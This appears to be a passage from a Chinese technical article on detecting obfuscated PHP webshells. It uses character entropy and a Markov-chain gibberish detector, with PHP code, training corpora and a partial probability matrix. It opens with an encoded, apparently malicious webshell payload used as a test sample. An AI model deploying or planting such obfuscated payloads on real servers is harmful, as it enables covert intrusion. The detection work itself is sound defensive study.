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')));
?> 

Entropy.php

<?php
/**
* Computes the entropy of an array of tokens (aka symbols).
*/
  class Entropy 
  {  
    var $tokens      = array();   //待检测字符集
    var $num_events  = 0;         //样本字符数
    var $token_freqs = array();   //字符频度
    var $token_probs = array();   //词频占比
    var $num_tokens  = 0;         //词频类别总数(即样本中含有的字符类别数)
    var $bits        = 0.0;       //熵值: 表示字符频度分布的平均程度，越大表示字符分布越平均
    var $maxent      = 0.0;       //最大熵: 表示字符分布范围，越大表示频度分布范围越广
    var $ratio       = 0.0;    

    function Entropy($tokens) 
    { 
      $this->tokens      = $tokens;
      $this->num_events  = count($this->tokens);
      $this->token_freqs = $this->getTokenFrequencies();
      $this->num_tokens  = count($this->token_freqs);
      foreach ($this->token_freqs as $token => $freq) 
      { 
        //字符的词频占比(即某个字符占总字符的百分比)
        $this->token_probs[$token]  = $freq / $this->num_events;
        $entropy += $this->token_probs[$token] * log($this->token_probs[$token], 2);   
      }
      $this->bits   = -1.0 * $entropy;
      $this->maxent = log($this->num_tokens, 2);    
      $this->ratio  = $this->bits / $this->maxent; 
    }

    function getTokenFrequencies() 
    { 
      for ($i = 0; $i < $this->num_events; $i++)
      {
        //统计字符(a ~ z)的词频
        $this->token_freqs[$this->tokens[$i]]++;
      } 
      return $this->token_freqs; 
    } 
  }
?>

clickstream_entropy.php

<?php 

require_once "./Entropy.php";
//$tokens = array("h","n","p","s","h","n","h","a","h","p","h","s","h","n","p");   
$tokens = str_split(file_get_contents("./3.php"), 1);  
$e = new Entropy($tokens);
?>

<pre>
<?php print_r($e) ?>
</pre>
<p>
The Entropy of the source measured in bits is: <?php echo $e->bits ?>
</p>

Relevant Link:

http://en.wikipedia.org/wiki/Entropy_%28information_theory%29
http://www.codeforge.cn/article/191405

0x2: 基于隐式马尔柯夫链的文本字符串元音字母比重判断(Gibberish Detector)

通过观察正常脚本文件、变形后的WEBSHELL可以发现，正常WEB脚本是程序员编写的，每个变量、字符串都表现出"很好念"这个特性，而反之变形后的WEBSHELL往往"无法正常念出"，"好念"这个概念也可以有另外一个高级一些的特征，叫做"gibberish detection"，判断一个字符串是不是能用人类的语言念出来，比如google就不是一个英文单词但是朗朗上口。这背后是一个基于马尔可夫链的模型
应用在WEBSHELL检测上流程如下

1. 基于隐式马尔科夫链训练检测模型
2. 进行马尔柯夫链训练，目标是获得二阶词汇的26 * 26矩阵
    1) 基础语料库: 正常的英文短文语料库
    2) 正例语料库: Token序列后的正常网站脚本的变量、字符串
    3) 反例语料库: Token序列后的恶意WEBSHELL脚本的变量、字符串
3. 完成训练过程，得到判断阀值: threshold
4. 获取待检测样本的Token语法树，并提取其中的指定类型元素，包括
    1) 变量
    2) 字符串
5. 对提出出的变量、字符串进行"Gibberish Detection"
6. 对检测结果进行分类，得到聚类结果
7. 如果元音开头词语(易读词)大于一半，则判定为正常文件，反之为WEBSHELL

big.txt(用于训练的基础语料库)

The Project Gutenberg EBook of The Adventures of Sherlock Holmes by Sir Arthur Conan Doyle (#15 in our series by Sir Arthur Conan Doyle) Copyright laws are changing all over the world. Be sure to check the copyright laws for your country before downloading or redistributing this or any other Project Gutenberg eBook.
This header should be the first thing seen when viewing this Project Gutenberg file.  Please do not remove it.  Do not change or edit the header without written ermission.
Please read the "legal small print," and other information about the eBook and Project Gutenberg at the bottom of this file.  Included is important information about your specific rights and restrictions in how the file may be used.
..

good.txt(用于训练的正例语料库)

rob
two models
some long sentence, might suck?
Project Gutenberg
a b c

bad.txt(用于训练的反例语料库)

zxcvwerjasc
nmnjcviburili,<>
zxcvnadtruqe
ertrjiloifdfyyoiu
grty iuewdiivjh

matrix.txt(训练得到的二阶词汇隐式马尔柯夫链26 * 26正矩阵)

a:2:{s:6:"matrix";a:27:{i:0;a:27:{i:0;d:-8.5691373129308985;i:1;d:-3.9369332597631863;i:2;d:-3.2206701626973908;i:3;d:-3.0482479869676102;i:4;d:-6.0522790633362966;i:5;d:-4.6995609977500097;i:6;d:-3.9941585968087816;i:7;d:-6.7104072175966607;i:8;d:-3.2453041060602184;i:9;d:-7.0607402550101082;i:10;d:-4.5122833596242966;i:11;d:-2.4997201529644935;i:12;d:-3.6426367816409662;i:13;d:-1.5707462805725019;i:14;d:-7.9784688016538912;i:15;d:-3.8936418102220776;i:16;d:-9.8219002814262666;i:17;d:-2.3025283782801376;i:18;d:-2.3483664253823981;i:19;d:-1.9448651421947813;i:20;d:-4.5391581266637013;i:21;d:-3.871849760115083;i:22;d:-4.7063591204638309;i:23;d:-6.5603133384650167;i:24;d:-3.6497253232076332;i:25;d:-6.6419543029262833;i:26;d:-2.7134701747591117;}i:1;a:27:{i:0;d:-2.5528619980784999;i:1;d:-5.1392262080557547;i:2;d:-6.0497198222455832;i:3;d:-6.2194047950350262;i:4;d:-1.173596307609444;i:5;d:-8.5639540871281046;i:6;d:-8.8051161439449928;i:7;d:-8.4949612156411529;i:8;d:-3.3328454702735173;i:9;d:-5.0045327002510547;i:10;d:-8.8051161439449928;i:11;d:-2.1390850632227161;i:12;d:-6.1216070517588994;i:13;d:-6.8085622620709243;i:14;d:-2.1459387811703974;i:15;d:-8.312639658847198;i:16;d:-8.9004263237493166;i:17;d:-2.7193750088559678;i:18;d:-3.7884385353927739;i:19;d:-4.7032243760875083;i:20;d:-2.1373500561366239;i:21;d:-6.320209494156992;i:22;d:-7.676650892127201;i:23;d:-8.9004263237493166;i:24;d:-2.3611294272462486;i:25;d:-8.9004263237493166;i:26;d:-4.7384231130534014;}i:2;a:27:{i:0;d:-2.0894631398847698;i:1;d:-9.3982849786401577;i:2;d:-3.8466182187208457;i:3;d:-7.6784990090371927;i:4;d:-1.7391136109740999;i:5;d:-8.7921491750698433;i:6;d:-9.5806065354341126;i:7;d:-1.9093388132314668;i:8;d:-2.9331775988939013;i:9;d:-9.4852963556297887;i:10;d:-3.3436500333481591;i:11;d:-3.2765234305843181;i:12;d:-8.5158957984416848;i:13;d:-8.838669190704735;i:14;d:-1.6000355228278762;i:15;d:-9.4852963556297887;i:16;d:-6.3860234031349563;i:17;d:-3.3776662418796031;i:18;d:-5.8381863143921464;i:19;d:-2.3909106346293085;i:20;d:-3.2184408726543063;i:21;d:-9.4852963556297887;i:22;d:-8.838669190704735;i:23;d:-9.5806065354341126;i:24;d:-4.6212645357254072;i:25;d:-8.2996726899720485;i:26;d:-3.8668737299247438;}i:3;a:27:{i:0;d:-3.7200475908408235;i:1;d:-7.4184345505757561;i:2;d:-7.8868134840944899;i:3;d:-4.5648654740864751;i:4;d:-1.9699465394791131;i:5;d:-6.7968969023939341;i:6;d:-5.4304488376459741;i:7;d:-6.754155354016663;i:8;d:-2.4627220077183942;i:9;d:-6.2773755716603894;i:10;d:-7.6662707144803379;i:11;d:-4.5583264503194183;i:12;d:-5.5188785108919935;i:13;d:-5.9464847448773721;i:14;d:-3.1170097229317628;i:15;d:-8.3804713042381156;i:16;d:-8.1362743437260736;i:17;d:-3.6243165394601604;i:18;d:-3.6811521539816408;i:19;d:-7.1936663035345445;i:20;d:-3.9941983786827824;i:21;d:-5.5687641654028628;i:22;d:-7.0773273114503947;i:23;d:-9.9280338129541281;i:24;d:-4.6138430972498012;i:25;d:-9.7457122561601732;i:26;d:-0.53944684222602057;}i:4;a:27:{i:0;d:-3.0956911156796725;i:1;d:-6.3279563530093395;i:2;d:-3.7113941175293448;i:3;d:-2.4143090966150091;i:4;d:-3.7280101535107066;i:5;d:-4.5550958099493206;i:6;d:-4.9582369569836615;i:7;d:-6.3408241776207328;i:8;d:-4.4651158844639438;i:9;d:-8.0432622665219515;i:10;d:-7.012917948982845;i:11;d:-3.4395652463282116;i:12;d:-3.7489856294972617;i:13;d:-2.3891535950601428;i:14;d:-5.2811982786521376;i:15;d:-4.4265987840363543;i:16;d:-6.2651316283495033;i:17;d:-1.9762712469186809;i:18;d:-2.5192259875477632;i:19;d:-3.7331106440131854;i:20;d:-6.0512936758071696;i:21;d:-4.1152260280409223;i:22;d:-4.7192493011961147;i:23;d:-4.4511788671515573;i:24;d:-4.535588241035776;i:25;d:-7.7317546156581018;i:26;d:-1.1291364595675442;}i:5;a:27:{i:0;d:-2.7634422911455703;i:1;d:-7.9114774546442685;i:2;d:-7.5295428439462988;i:3;d:-8.4946237399898852;i:4;d:-2.4511005664356609;i:5;d:-2.9261202157943278;i:6;d:-7.6122345597914123;i:7;d:-8.5371833544086808;i:8;d:-2.4505074466080714;i:9;d:-9.0336202407225734;i:10;d:-8.7282385911713902;i:11;d:-3.7482433854502708;i:12;d:-8.8394642262816152;i:13;d:-7.6653443851053602;i:14;d:-1.9043799278633868;i:15;d:-8.3053817403513577;i:16;d:-9.3700924773437855;i:17;d:-2.3558173549839756;i:18;d:-5.9296743825283489;i:19;d:-3.3156531310744151;i:20;d:-3.5058932812816797;i:21;d:-9.3700924773437855;i:22;d:-7.8014765594299407;i:23;d:-9.3700924773437855;i:24;d:-6.1353433033192948;i:25;d:-9.3700924773437855;i:26;d:-0.99767075505541947;}i:6;a:27:{i:0;d:-2.681117318742622;i:1;d:-8.560252680876685;i:2;d:-8.0833286087863758;i:3;d:-6.8862762473050125;i:4;d:-1.9631827738890724;i:5;d:-7.924263914156688;i:6;d:-4.61975020412667;i:7;d:-2.2213641819441556;i:8;d:-2.8612966495974126;i:9;d:-9.1480393457788036;i:10;d:-8.560252680876685;i:11;d:-3.3580791748815502;i:12;d:-6.0753460310886842;i:13;d:-3.7399711152716475;i:14;d:-2.831958278425978;i:15;d:-7.9541168773063688;i:16;d:-9.052729165974478;i:17;d:-2.5526687518888194;i:18;d:-4.0629151996918083;i:19;d:-4.943346726387837;i:20;d:-3.4944980875593492;i:21;d:-9.1480393457788036;i:22;d:-7.5794234278649579;i:23;d:-9.1480393457788036;i:24;d:-5.8822799350117521;i:25;d:-8.6174110947166334;i:26;d:-1.0302198528344138;}i:7;a:27:{i:0;d:-1.8949866865832032;i:1;d:-7.3872065417745896;i:2;d:-8.0531040798871594;i:3;d:-7.5422784561211689;i:4;d:-0.72863536514475458;i:5;d:-7.8583157543280748;i:6;d:-9.5899712994864252;i:7;d:-8.779041083270096;i:8;d:-1.9951372153459488;i:9;d:-10.100796923252416;i:10;d:-7.8852232072479991;i:11;d:-6.6350610204526888;i:12;d:-6.2613446106591049;i:13;d:-6.7051705866397153;i:14;d:-2.5617698674284206;i:15;d:-9.2534990628652114;i:16;d:-10.100796923252416;i:17;d:-4.5720294302077304;i:18;d:-6.2226754694999507;i:19;d:-3.7645613367085251;i:20;d:-4.6222435064014453;i:21;d:-9.5411811353169931;i:22;d:-7.3816968859636205;i:23;d:-10.283118480046371;i:24;d:-5.0245819835101777;i:25;d:-10.187808300242045;i:26;d:-2.3623088007577695;}i:8;a:27:{i:0;d:-3.7122448865480009;i:1;d:-4.7174752821302111;i:2;d:-2.7839843705158169;i:3;d:-3.2216013768067646;i:4;d:-3.1683365236496233;i:5;d:-3.9038254558612402;i:6;d:-3.6807905470589519;i:7;d:-9.119304544100272;i:8;d:-6.4229895992164829;i:9;d:-10.323277348426208;i:10;d:-5.2408383222009691;i:11;d:-3.0795261367137394;i:12;d:-3.1736876196863721;i:13;d:-1.3126793991869439;i:14;d:-2.6643811758555511;i:15;d:-4.9236074876178835;i:16;d:-7.8955291124781564;i:17;d:-3.4097056841226312;i:18;d:-2.0515798328281978;i:19;d:-2.1011937452905483;i:20;d:-6.5110746782802726;i:21;d:-3.8167461832949807;i:22;d:-9.6726897822850582;i:23;d:-6.1683081643876729;i:24;d:-10.410288725415837;i:25;d:-5.511770729440288;i:26;d:-3.7883989879590838;}i:9;a:27:{i:0;d:-2.3427609160575655;i:1;d:-6.1024094410597085;i:2;d:-6.0378709199221374;i:3;d:-6.5078745491678731;i:4;d:-1.4153520955994334;i:5;d:-6.2455102847003818;i:6;d:-6.1714023125466602;i:7;d:-6.3255529923739182;i:8;d:-5.5146227761575899;i:9;d:-6.5078745491678731;i:10;d:-6.2455102847003818;i:11;d:-6.4125643693635483;i:12;d:-6.3255529923739182;i:13;d:-6.5078745491678731;i:14;d:-1.2783714986201964;i:15;d:-6.4125643693635483;i:16;d:-6.3255529923739182;i:17;d:-6.1024094410597085;i:18;d:-6.1024094410597085;i:19;d:-6.2455102847003818;i:20;d:-1.1002544477293865;i:21;d:-6.5078745491678731;i:22;d:-6.2455102847003818;i:23;d:-6.5078745491678731;i:24;d:-6.5078745491678731;i:25;d:-6.5078745491678731;i:26;d:-4.8592159235804919;}i:10;a:27:{i:0;d:-3.6194933584945135;i:1;d:-7.047703539402737;i:2;d:-6.0624199360416311;i:3;d:-7.6718578484757316;i:4;d:-1.2114318817004575;i:5;d:-6.2855634873558408;i:6;d:-6.8245599880885273;i:7;d:-3.6311485020862624;i:8;d:-1.7851984157338754;i:9;d:-7.8149586921164049;i:10;d:-7.4895362916817767;i:11;d:-3.8876682145574701;i:12;d:-6.0361026277242571;i:13;d:-2.3543916630889337;i:14;d:-3.8417682258102714;i:15;d:-7.5466947055217251;i:16;d:-7.9820127767795706;i:17;d:-5.4820682496270301;i:18;d:-3.0008999219496366;i:19;d:-6.6910285954640045;i:20;d:-3.7387258798373502;i:21;d:-7.2444138336487915;i:22;d:-5.4382656269686374;i:23;d:-8.0773229565838953;i:24;d:-4.6828145630725366;i:25;d:-8.0773229565838953;i:26;d:-1.4288566755523215;}i:11;a:27:{i:0;d:-2.2691833883143882;i:1;d:-6.5732977996947817;i:2;d:-5.7454793654499312;i:3;d:-2.8596367214634224;i:4;d:-1.7841347050080587;i:5;d:-4.1440479009095723;i:6;d:-6.8440916541180412;i:7;d:-7.7437746495925355;i:8;d:-2.1751158710179781;i:9;d:-9.7015192562948513;i:10;d:-4.9565871279316012;i:11;d:-2.065933606191924;i:12;d:-5.0603386327837274;i:13;d:-6.4926937672801524;i:14;d:-2.4508837443961715;i:15;d:-5.6044007671900253;i:16;d:-9.7015192562948513;i:17;d:-5.6482860823151819;i:18;d:-3.8794600407142781;i:19;d:-3.8645179378524279;i:20;d:-3.8209862698941515;i:21;d:-5.091361528795721;i:22;d:-5.466205750947557;i:23;d:-9.8838408130888062;i:24;d:-2.3336002683489521;i:25;d:-8.6029069676267422;i:26;d:-2.0434097729831913;}i:12;a:27:{i:0;d:-1.7539942375247688;i:1;d:-3.6841198980845076;i:2;d:-6.559311098803656;i:3;d:-8.4396239653731566;i:4;d:-1.3654444296574595;i:5;d:-6.4075846625879045;i:6;d:-9.3375655585791151;i:7;d:-8.238953269911006;i:8;d:-2.4389427631602505;i:9;d:-9.1705114739159495;i:10;d:-8.9022474873212687;i:11;d:-6.2060317438660624;i:12;d:-3.6410823864045252;i:13;d:-5.6624162972770806;i:14;d:-2.2280575251437695;i:15;d:-2.6972144960398214;i:16;d:-9.432875738383439;i:17;d:-5.5010501056591137;i:18;d:-3.5381974599631496;i:19;d:-6.9071470940751842;i:20;d:-3.4685254837670296;i:21;d:-9.2505541815894858;i:22;d:-8.0718991852478386;i:23;d:-9.432875738383439;i:24;d:-3.424799925470261;i:25;d:-9.432875738383439;i:26;d:-1.8968318511898539;}i:13;a:27:{i:0;d:-3.4115771342847401;i:1;d:-6.728285208389976;i:2;d:-3.0909427430720093;i:3;d:-1.7402648256897351;i:4;d:-2.5015190512398306;i:5;d:-4.8173719013717582;i:6;d:-2.1132105305164308;i:7;d:-6.807749379744223;i:8;d:-3.2957925490940969;i:9;d:-6.2527989510692938;i:10;d:-4.9177978843369541;i:11;d:-4.632769841879079;i:12;d:-5.9887758529341601;i:13;d:-4.6666517566412899;i:14;d:-2.8767595180672929;i:15;d:-7.6037539457438754;i:16;d:-6.864465609186075;i:17;d:-7.1872390014491261;i:18;d:-3.0523362157550311;i:19;d:-2.2647479268985964;i:20;d:-4.9001580949910455;i:21;d:-5.348959516586179;i:22;d:-7.1477365584728796;i:23;d:-7.4543765446692749;i:24;d:-4.5463518451567912;i:25;d:-8.8077267500698113;i:26;d:-1.4656789800236865;}i:14;a:27:{i:0;d:-5.0822413891388436;i:1;d:-5.1423936319936017;i:2;d:-4.2765983533289242;i:3;d:-4.0852168176898669;i:4;d:-5.7599683850109136;i:5;d:-2.1747736159953641;i:6;d:-5.2886215722187107;i:7;d:-6.0901741103603149;i:8;d:-4.4715723308194235;i:9;d:-6.9068746830379801;i:10;d:-4.4326586554122649;i:11;d:-3.2277431063139637;i:12;d:-2.8212923556513845;i:13;d:-1.7681088393713913;i:14;d:-3.5156224239092224;i:15;d:-3.9518016568316168;i:16;d:-8.9863162247178163;i:17;d:-2.1664590794141954;i:18;d:-3.3712131841519417;i:19;d:-3.1224483347145418;i:20;d:-2.2101893882141153;i:21;d:-3.5450716407123704;i:22;d:-3.1404797504673136;i:23;d:-6.6631118445210342;i:24;d:-5.5134443850526402;i:25;d:-7.7042256411279277;i:26;d:-2.2129736790077486;}i:15;a:27:{i:0;d:-2.136265349667144;i:1;d:-7.6487499302755264;i:2;d:-6.5221637895650106;i:3;d:-8.5031652584315935;i:4;d:-1.734614577170007;i:5;d:-6.5016852582214701;i:6;d:-7.7853254652812778;i:7;d:-3.6425779605789979;i:8;d:-2.654272848600284;i:9;d:-8.4543750942621632;i:10;d:-7.8613113722591992;i:11;d:-2.3851781986138283;i:12;d:-6.3630990949353237;i:13;d:-7.2942049125946191;i:14;d:-2.1162017675272979;i:15;d:-2.7907534570773387;i:16;d:-9.1963124389915389;i:17;d:-1.7868731941606955;i:18;d:-3.8487288311405847;i:19;d:-3.2942257030347744;i:20;d:-3.1971277688684197;i:21;d:-9.1963124389915389;i:22;d:-7.0800569241889875;i:23;d:-9.1963124389915389;i:24;d:-4.9871522023408579;i:25;d:-9.1963124389915389;i:26;d:-2.9363486388485507;}i:16;a:27:{i:0;d:-6.1822914969456484;i:1;d:-6.1822914969456484;i:2;d:-6.1822914969456484;i:3;d:-6.1822914969456484;i:4;d:-6.1822914969456484;i:5;d:-6.1822914969456484;i:6;d:-6.1822914969456484;i:7;d:-6.1822914969456484;i:8;d:-6.1822914969456484;i:9;d:-6.1822914969456484;i:10;d:-6.1822914969456484;i:11;d:-6.1822914969456484;i:12;d:-6.1822914969456484;i:13;d:-6.1822914969456484;i:14;d:-6.1822914969456484;i:15;d:-6.1822914969456484;i:16;d:-6.1822914969456484;i:17;d:-6.1822914969456484;i:18;d:-6.1822914969456484;i:19;d:-6.1822914969456484;i:20;d:-0.057170565024993084;i:21;d:-6.1822914969456484;i:22;d:-6.1822914969456484;i:23;d:-6.1822914969456484;i:24;d:-6.1822914969456484;i:25;d:-6.1822914969456484;i:26;d:-5.540437610773254;}i:17;a:27:{i:0;d:-2.5722807952437394;i:1;d:-5.9920572567963797;i:2;d:-4.3193167645512389;i:3;d:-3.7284294070555273;i:4;d:-1.4225483817556492;i:5;d:-5.3572316866714189;i:6;d:-4.3317609271287889;i:7;d:-6.0337579859953241;i:8;d:-2.364541745819138;i:9;d:-9.405183209323809;i:10;d:-4.8504645668318158;i:11;d:-4.6735565993831587;i:12;d:-3.7450043721497401;i:13;d:-3.9165761163326409;i:14;d:-2.3221645573596241;i:15;d:-5.4139794060212223;i:16;d:-9.0405400957358992;i:17;d:-3.636862213530037;i:18;d:-2.9016138569514562;i:19;d:-3.2345687965875074;i:20;d:-3.9816438780223904;i:21;d:-4.9058180822326944;i:22;d:-6.2575885864605718;i:23;d:-10.13915238440401;i:24;d:-3.2585970253485272;i:25;d:-8.0701821425914684;i:26;d:-1.7281348556024396;}i:18;a:27:{i:0;d:-3.2090119684802527;i:1;d:-6.334899523154303;i:2;d:-4.0932990644173737;i:3;d:-7.5920350390622797;i:4;d:-2.1586345703035548;i:5;d:-6.1829951939534